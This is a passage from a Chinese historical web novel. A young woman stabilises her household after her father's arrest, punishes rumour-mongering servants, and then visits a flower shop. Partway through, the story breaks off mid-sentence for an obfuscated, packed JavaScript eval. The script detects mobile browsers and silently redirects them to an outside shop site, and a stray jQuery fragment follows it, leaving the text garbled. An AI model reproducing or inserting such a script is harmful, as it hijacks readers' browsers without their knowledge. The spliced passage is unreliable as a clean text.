方全福应是,领着几个小厮,将被捆着的周虎几人丢在厅中。
“舅舅……”林知瑛低声轻呼,面色不善地看一眼知韫。
“小的们再也不敢了,求大小姐饶命!”除了周虎,其余人齐声求饶。
“早先我便有言,府中出了变故,林府绝不拖着你们一道去死。凡是要走的,一律放了身契,并赏银二两。你们既留了下来,便要守林府的规矩。今日你们聚众散播流言,意图偷盗主家财物,照例该扭送官府。念你们多为林府尽忠多年,每人赏二十板子,发卖出府。”
方全福闻言,立即使眼色,小厮们鱼贯涌入,要将厅中捆着的人往外拖。
“等等!”周氏蹭一下站起身,像是意识到了有失当家太太的端庄,又慢慢坐回去。努力扯出个笑说:“大小姐,周虎不过是说了两句闲话,何必如此上纲上线。外甥女打舅舅,传出去岂不让人笑话?”
周氏若是能立得住,知韫无意与她争锋。知瑛和君杨是她弟弟妹妹,她自然也希望一家子姊妹和睦,希望父亲身边有个知冷知热的人。可恨这周氏,一门心思将林府的财物往周家搬,仗着自己生了儿子,还时常叱骂两个庶出妹妹。
周虎算知韫哪门子的舅舅!
知韫缓缓转过身,一双清透的眼睛冷冷睨着周氏。
“散播流言,咒骂父亲即将被处斩,太太以为,这只是闲话?父亲若是倒了,在座的诸位,哪个能有好果子吃?”
真要是定了罪,男丁处斩,女眷充入教坊司。厅中除了最小的知雅,心里都有数。不过是这些日子知韫将府里稳住,日子照常过,他们便觉得这一切都很遥远。现在听知韫提起此事,当日林惟敬被抓时的惶惶然再度涌上心头,众人齐齐望向知韫。期盼这个定海神针般的大姐姐能说些宽慰他们的话,譬如她已经想到了救人的法子,譬如林惟敬什么时候能回来。
可惜没有。
周氏面色讪讪,虽不说话,手中帕子几乎要被绞碎。她才是当家太太,她为林家生了唯一的男丁,凭什么被这么个丫头片子压着?
“拖下去!”知韫声音平稳,自带一股威压。
方全福垂首应是,摆摆手,小厮们立即将人拖到院中,按在条凳上,啪啪打板子。
“大小姐,小的再也不敢了!”被打众人齐齐求饶,包括周虎。
寂静的夜里,雪又开始飘,落在院中丫鬟小厮发梢上,不一会就添了白。落在被打之人的后背,稍稍覆盖了血红。院中站着的小厮丫鬟各个凝神静气,不敢出声。空中只有木板打在皮肉的闷闷声,被打之人的求饶声。
打完后,知韫沉声又吩咐:“方全福,明日找来人牙子,统统发卖出去。”
“我不是林府奴仆,凭什么发卖我?”周虎趴在条凳上,额上大汗淋漓,喘着粗气儿质问。
“说的是。”知韫端坐着,并不往外看,只沉稳的声音传入院中:“方全福,记住了,以后这个人不准入府。”
周虎此人没什么本事,这些年全靠在林府捞油水。离了林府,哪还有活路?当下却也无言以对,丧气地垂头。
只有除掉这个大小姐,他才能有好日子过。
端坐上首的周氏嘴巴张张合合,碍于知韫威压,到底不敢说什么。
知韫起身,立在廊庑下,面向院中众人,刻意提高了声音,沉稳清亮的声音在寂静的雪夜里显得格外有力量。
“锦衣卫抓人,一贯阖家带走,抄没全部家财,从无任何情面可言。那日锦衣卫虽上门,但只带走父亲一人,说明只是小事。一时误会,抓错了人也未可知。诸位若是愿意留下,就好好当差,待过了这一关,林府往后绝不会忘记诸位恩情。若是心中害怕,决心要走,林府也绝不阻拦。但有一条,若是走了,往后就别再打回林家的主意。”
林府主君性子和善,待底下人非常宽厚。掌事的大小姐虽性子冷淡,却最赏罚分明、公正不阿。他们只需要干好自己的活计就能领月钱,往上升只看能力,不论亲疏,平日里也不会受些无端窝囊气。若是去了其他府上,初来乍到难以站住脚跟不说,还容易被那些有关系的管事婆子欺辱。
可林府的日子再好,也得有命享才行。他们之中不少人都卖身林府,若是林家真定了罪,卖身的奴仆也算作林家人,得跟着一道死。
众人面面相觑。
静默片刻后,有两个年轻媳妇上前,跪下给知韫磕了个头:“奴婢无福伺候主子们,自请离府。”
“好,你们为林府尽忠一场,每人赏二两银子。明儿一早来嵌霜榭找秦嬷嬷,领了身契和银子,出去谋生路吧。”
陆陆续续又有人站出来要离府,知韫让要走的人站左边,留下的人站右边。最后看人数,约莫有三分之一的人要走,情况比知韫预想的要差一些。
父亲被抓才十日,就已经走了三分之一的人。
“留下的人,每人赏一两银子。好好当差,等过了这一关,还有赏。”
众人纷纷下跪:“但听大小姐差遣。”
众人散去后,知韫吩咐方全福:“从明日起,你亲自点些可靠的小厮,派几个在几位小姐院门前守着,几个在进出的各处角门守着,再点几个跟着你,在府中巡逻。若是有浑水摸鱼,偷鸡摸狗的,你看着处置,要是拿不准主意,就等我回来再说。若是有趁机欺辱小丫鬟的,不必等我,一律当场打死。”
偷盗之后,便是奸|淫。几个妹妹都还小,不得不防。
方全福一凛,悄悄抬眼打量知韫,面似娇花,眼透寒霜。
出了这等事,他一个大男人心里都六神无主。大小姐只是个十六岁的闺阁姑娘,却能临危不惧。
“府里……人手不够。”
知韫沉吟后道:“先紧着四小姐五小姐,嵌霜榭和太太院子暂时不安排人。”
忙完前院的事,回到嵌霜榭后,秦嬷嬷将丫鬟们都打发走,亲自给知韫卸钗环。
“小姐,账上的现银不多了。”
知韫自己有些私房钱,大半用来扶持刘平进锦衣卫。前些日子让刘平打点锦衣卫,好让她去见父亲,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17886381|212553||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
结果被何小满横插一杠子,五百两银子也打了水漂。
走的人要赏银子,留下的人也要赏,这不是一笔小数目。
“嬷嬷这两日将我房里的东西清点好,全福在外面路子广,找人卖出去,价钱低些也无妨。摆在明面上的东西暂且不动,先卖库房中的。”
“今日之事,不可外传。”
若是主君或是其他小姐院子里的东西拿出去卖,底下人只会更惊慌,觉得林府要彻底垮台。为今之计,只能先从知韫这边出。秦嬷嬷是明白人,垂首应是。
*
沈朔回了撒子王胡同后,打开手札,翻到第一页“衣裳”就犯了难。裙子是白色的,上身的短袄却说不出来是什么颜色,一种介于青色和白色之间的颜色。想了想,沈朔写“青白色短袄,白裙”。翻到第二页“饮食”,将“爱吃烤红薯”划掉。
次日上午,沈朔将衙门里的事料理的差不多了,便又换了身深青色直身,皂色儒帽,打马去了东城靠南,崇文里街最大的花艺铺子,名叫撷芳花圃。
儒生打扮遮掩了身上的杀戮之气,五官又生的好,虽不是冷白,麦色的皮肤却也给他添了寻常文人没有的英气。
一清瘦、面庞白净的年轻男人迎上来,笑着问:“客官看着面生,头回来?想买什么花儿?自个儿养还是送人?”
沈朔自怀中取出两方折好的手帕,打开,指着手帕一角绣着的花问:“这是什么花儿?”
伙计只扫一眼便答:“这是虎刺梅,又叫铁海棠。这花儿算不上名贵,根茎带刺,全株有毒,若是不小心被扎到,手得肿好几天,全京城都没多少人养这个。店里如今没有现货,客官要多少?我们这就去进货,您留个地址,回头到了我们差人给您送过去。”
沈朔站在柜台前,正慢条斯理折手帕,准备往怀里收。忽然像是察觉到了什么,转头往外看了一眼,嘴角立即噙起笑意。头又折回来,手帕快速收进怀中,对伙计说:“还有没有别的?带我去后头看看。”
“得嘞!您这边请!”伙计从柜台后面绕出来,比手将人往后头请。
*
知韫昨儿夜里几乎又没合眼,一直在琢磨贺表的事。照她来看,贺表上写的不过是些华而不实的祝词,实在不知锦衣卫能从哪里做文章。已经麻烦韩侍郎许多,知韫不好意思再去找他。便一大早去了姨父家里,请姨父帮着看看。姨父宅子在黄华坊门楼胡同,崇文里街是必经之路。
途径撷芳花圃,纫秋劝她去花圃转转,换换心情。府里花肥快用完了,雪一直不停,知韫也怕虎刺梅死了,便下了马车,往铺子里去。
不管事情多不顺利,日子总还要过下去。
进了店,另一中年微胖男子迎上来:“林姑娘许久没来了,今儿要些什么?”
此人是这店里的管事之一,姓张。知韫是这里的常客,二人也算相熟。林府的事他听说了,但做生意的,向来笑脸迎人。
知韫还未开口答话,便听一道有些熟悉的声音自后头传来:“林姑娘,真巧。”